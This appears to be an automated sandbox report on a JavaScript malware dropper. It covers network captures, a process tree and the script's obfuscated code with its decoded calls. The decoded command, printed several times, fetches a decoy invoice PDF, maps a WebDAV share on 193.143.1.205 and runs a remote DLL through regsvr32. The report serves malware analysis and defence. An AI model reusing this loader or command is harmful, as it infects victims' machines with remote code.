Jan 11, 2025 04:34:49.962024927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962059975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962071896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.962071896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.962093115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962126970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962157965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962208986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962245941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962279081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962312937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962347031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962363958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.962363958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.962363958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.962363958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.962382078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962425947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962435961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962452888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.962475061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962476969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.962511063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.962568045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:50.004333019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:50.303229094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:50.888875961 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:50.893949986 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:50.894063950 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:50.894524097 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:50.899343014 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:51.713362932 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:51.772470951 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:53.469240904 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 04:35:03.491067886 CET	54089	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:03.495923042 CET	53	54089	1.1.1.1	192.168.2.8
Jan 11, 2025 04:35:03.496022940 CET	54089	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:03.500991106 CET	53	54089	1.1.1.1	192.168.2.8
Jan 11, 2025 04:35:03.960843086 CET	54089	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:03.965939999 CET	53	54089	1.1.1.1	192.168.2.8
Jan 11, 2025 04:35:03.966016054 CET	54089	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:18.490915060 CET	57157	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:18.495729923 CET	53	57157	1.1.1.1	192.168.2.8
Jan 11, 2025 04:35:18.495845079 CET	57157	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:18.500693083 CET	53	57157	1.1.1.1	192.168.2.8
Jan 11, 2025 04:35:18.965339899 CET	57157	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:18.970364094 CET	53	57157	1.1.1.1	192.168.2.8
Jan 11, 2025 04:35:18.970412016 CET	57157	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:19.869780064 CET	52096	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:19.874758005 CET	53	52096	1.1.1.1	192.168.2.8
Jan 11, 2025 04:35:19.877641916 CET	52096	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:19.877676010 CET	52096	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:19.882572889 CET	53	52096	1.1.1.1	192.168.2.8
Jan 11, 2025 04:35:20.325381994 CET	53	52096	1.1.1.1	192.168.2.8
Jan 11, 2025 04:35:20.325733900 CET	52096	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:20.330713034 CET	53	52096	1.1.1.1	192.168.2.8
Jan 11, 2025 04:35:20.330787897 CET	52096	53	192.168.2.8	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:34:58.431149960 CET	60491	53	192.168.2.8	1.1.1.1
Jan 11, 2025 04:35:03.490657091 CET	53	63711	1.1.1.1	192.168.2.8
Jan 11, 2025 04:35:18.490506887 CET	53	59593	1.1.1.1	192.168.2.8
Jan 11, 2025 04:35:19.866044044 CET	53	51944	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:34:58.431149960 CET	192.168.2.8	1.1.1.1	0x98c6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:34:58.438313961 CET	1.1.1.1	192.168.2.8	0x98c6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:34:59.129108906 CET	1.1.1.1	192.168.2.8	0xe2f2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:34:59.129108906 CET	1.1.1.1	192.168.2.8	0xe2f2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:34:48.392513990 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:34:49.187530041 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:34:49 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:34:49.187666893 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:34:49.187679052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 04:34:49.187690020 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 04:34:49.187700987 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 04:34:49.187712908 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 04:34:49.187731981 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 04:34:49.187742949 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 04:34:49.187844038 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 04:34:49.187856913 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 04:34:49.192675114 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	7992	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:34:50.894524097 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:34:51.713362932 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:34:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	22:34:45
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js"
Imagebase:	0x7ff6e1490000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:34:45
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll
Imagebase:	0x7ff62c6c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:34:45
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:34:45
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:34:49
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:34:49
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff62c6c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:34:49
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79c540000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:34:50
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:34:50
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:34:50
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1644,i,4098101461263419961,10574565154834051972,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fynsc() {	fynsc() ➔ undefined
1	ndwnl = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mlfpsp = this[cenwcz + eijbk + hyvwbpy + ckxcvfyu + bmrfzqlil + rzwrklx + yfzzx + wcmnlroh] ( this[feune + ftqltdqb + qrzcstiol + hyvwbpy + dwpvlmf + cenwcz + wcmnlroh][nvmitcqn + hyvwbpy + bmrfzqlil + eijbk + wcmnlroh + bmrfzqlil + tcdopbiyk + jslcm + mohuwo + bmrfzqlil + qrzcstiol + wcmnlroh] ( feune + ftqltdqb + qrzcstiol + hyvwbpy + dwpvlmf + cenwcz + wcmnlroh + aytbacw + ftqltdqb + sxcdhu + bmrfzqlil + nozhkbqf + nozhkbqf ) [chjpew + bmrfzqlil + mxiyl + chjpew + bmrfzqlil + eijbk + ltkkm] ( khvmitlzl + kxwji + hnrhykczh + tbmvbuxp + ridvkmgmm + nvmitcqn + lhbwdlnks + chjpew + chjpew + hnrhykczh + cfmrmhif + nflrntusa + ridvkmgmm + lhbwdlnks + ftqltdqb + hnrhykczh + chjpew + qtysqrcm + nvmitcqn + qxrrflw + yfzzx + wcmnlroh + hyvwbpy + qxrrflw + nozhkbqf + ufdexgnly + dbrqpo + eijbk + yfzzx + bmrfzqlil + nozhkbqf + qtysqrcm + rzwrklx + yfzzx + wcmnlroh + bmrfzqlil + hyvwbpy + yfzzx + eijbk + wcmnlroh + dwpvlmf + qxrrflw + yfzzx + eijbk + nozhkbqf + qtysqrcm + ijsvv + qxrrflw + qrzcstiol + eijbk + nozhkbqf + bmrfzqlil ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ulzmevvfu = 0 ; ulzmevvfu < ndwnl[nozhkbqf + bmrfzqlil + yfzzx + mxiyl + wcmnlroh + sxcdhu] ; ++ ulzmevvfu )
4	{
5	if ( mlfpsp == ndwnl[ulzmevvfu] )
6	{
7	mlfpsp = true;
8	break ;
9	}
10	}
11	if ( mlfpsp !== true )
12	this[feune + ftqltdqb + qrzcstiol + hyvwbpy + dwpvlmf + cenwcz + wcmnlroh][upylphmy + zosccglu + dwpvlmf + wcmnlroh] ( );
13	this[feune + ftqltdqb + qrzcstiol + hyvwbpy + dwpvlmf + cenwcz + wcmnlroh][nvmitcqn + hyvwbpy + bmrfzqlil + eijbk + wcmnlroh + bmrfzqlil + tcdopbiyk + jslcm + mohuwo + bmrfzqlil + qrzcstiol + wcmnlroh] ( feune + ftqltdqb + qrzcstiol + hyvwbpy + dwpvlmf + cenwcz + wcmnlroh + aytbacw + ftqltdqb + sxcdhu + bmrfzqlil + nozhkbqf + nozhkbqf ) [hyvwbpy + zosccglu + yfzzx] ( qrzcstiol + mmiero + ltkkm + ufdexgnly + ekigeqbdx + qrzcstiol + ufdexgnly + cenwcz + qxrrflw + lkjin + bmrfzqlil + hyvwbpy + ckxcvfyu + sxcdhu + bmrfzqlil + nozhkbqf + nozhkbqf + aytbacw + bmrfzqlil + neztfdjvk + bmrfzqlil + ufdexgnly + yxaoaqshk + nvmitcqn + qxrrflw + mmiero + mmiero + eijbk + yfzzx + ltkkm + ufdexgnly + mtwsa + rzwrklx + yfzzx + itukzxjg + qxrrflw + uewyakboi + bmrfzqlil + yxaoaqshk + feune + bmrfzqlil + jslcm + chjpew + bmrfzqlil + hxbitqlt + zosccglu + bmrfzqlil + ckxcvfyu + wcmnlroh + ufdexgnly + yxaoaqshk + tcdopbiyk + zosccglu + wcmnlroh + tsamkyl + dwpvlmf + nozhkbqf + bmrfzqlil + ufdexgnly + dfhlrfe + wcmnlroh + bmrfzqlil + mmiero + cenwcz + dfhlrfe + qtysqrcm + dwpvlmf + yfzzx + itukzxjg + qxrrflw + dwpvlmf + qrzcstiol + bmrfzqlil + aytbacw + cenwcz + ltkkm + nyhqeze + ufdexgnly + sxcdhu + wcmnlroh + wcmnlroh + cenwcz + izadb + ekigeqbdx + ekigeqbdx + zryoqkeon + ldkblztr + alzetju + aytbacw + zryoqkeon + phmtyt + alzetju + aytbacw + zryoqkeon + aytbacw + fxiccjbol + ntbpwmud + fcifwl + ekigeqbdx + dwpvlmf + yfzzx + itukzxjg + qxrrflw + dwpvlmf + qrzcstiol + bmrfzqlil + aytbacw + cenwcz + sxcdhu + cenwcz + mtwsa + totiasvsh + totiasvsh + ckxcvfyu + wcmnlroh + eijbk + hyvwbpy + wcmnlroh + ufdexgnly + dfhlrfe + wcmnlroh + bmrfzqlil + mmiero + cenwcz + dfhlrfe + qtysqrcm + dwpvlmf + yfzzx + itukzxjg + qxrrflw + dwpvlmf + qrzcstiol + bmrfzqlil + aytbacw + cenwcz + ltkkm + nyhqeze + totiasvsh + totiasvsh + qrzcstiol + mmiero + ltkkm + ufdexgnly + ekigeqbdx + qrzcstiol + ufdexgnly + yfzzx + bmrfzqlil + wcmnlroh + ufdexgnly + zosccglu + ckxcvfyu + bmrfzqlil + ufdexgnly + qtysqrcm + qtysqrcm + zryoqkeon + ldkblztr + alzetju + aytbacw + zryoqkeon + phmtyt + alzetju + aytbacw + zryoqkeon + aytbacw + fxiccjbol + ntbpwmud + fcifwl + rxlef + bdlnplkbl + bdlnplkbl + bdlnplkbl + bdlnplkbl + qtysqrcm + ltkkm + eijbk + itukzxjg + lkjin + lkjin + lkjin + hyvwbpy + qxrrflw + qxrrflw + wcmnlroh + qtysqrcm + totiasvsh + totiasvsh + qrzcstiol + mmiero + ltkkm + ufdexgnly + ekigeqbdx + qrzcstiol + ufdexgnly + hyvwbpy + bmrfzqlil + mxiyl + ckxcvfyu + itukzxjg + hyvwbpy + alzetju + fxiccjbol + ufdexgnly + ekigeqbdx + ckxcvfyu + ufdexgnly + qtysqrcm + qtysqrcm + zryoqkeon + ldkblztr + alzetju + aytbacw + zryoqkeon + phmtyt + alzetju + aytbacw + zryoqkeon + aytbacw + fxiccjbol + ntbpwmud + fcifwl + rxlef + bdlnplkbl + bdlnplkbl + bdlnplkbl + bdlnplkbl + qtysqrcm + ltkkm + eijbk + itukzxjg + lkjin + lkjin + lkjin + hyvwbpy + qxrrflw + qxrrflw + wcmnlroh + qtysqrcm + phmtyt + phmtyt + alzetju + zryoqkeon + zryoqkeon + ldkblztr + fxiccjbol + fxiccjbol + phmtyt + zryoqkeon + phmtyt + fcifwl + alzetju + alzetju + aytbacw + ltkkm + nozhkbqf + nozhkbqf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll",0,false) ➔ 0
14	}
15	totiasvsh = "S";
16	totiasvsh = "T";
17	totiasvsh = "Z";
18	totiasvsh = "J";
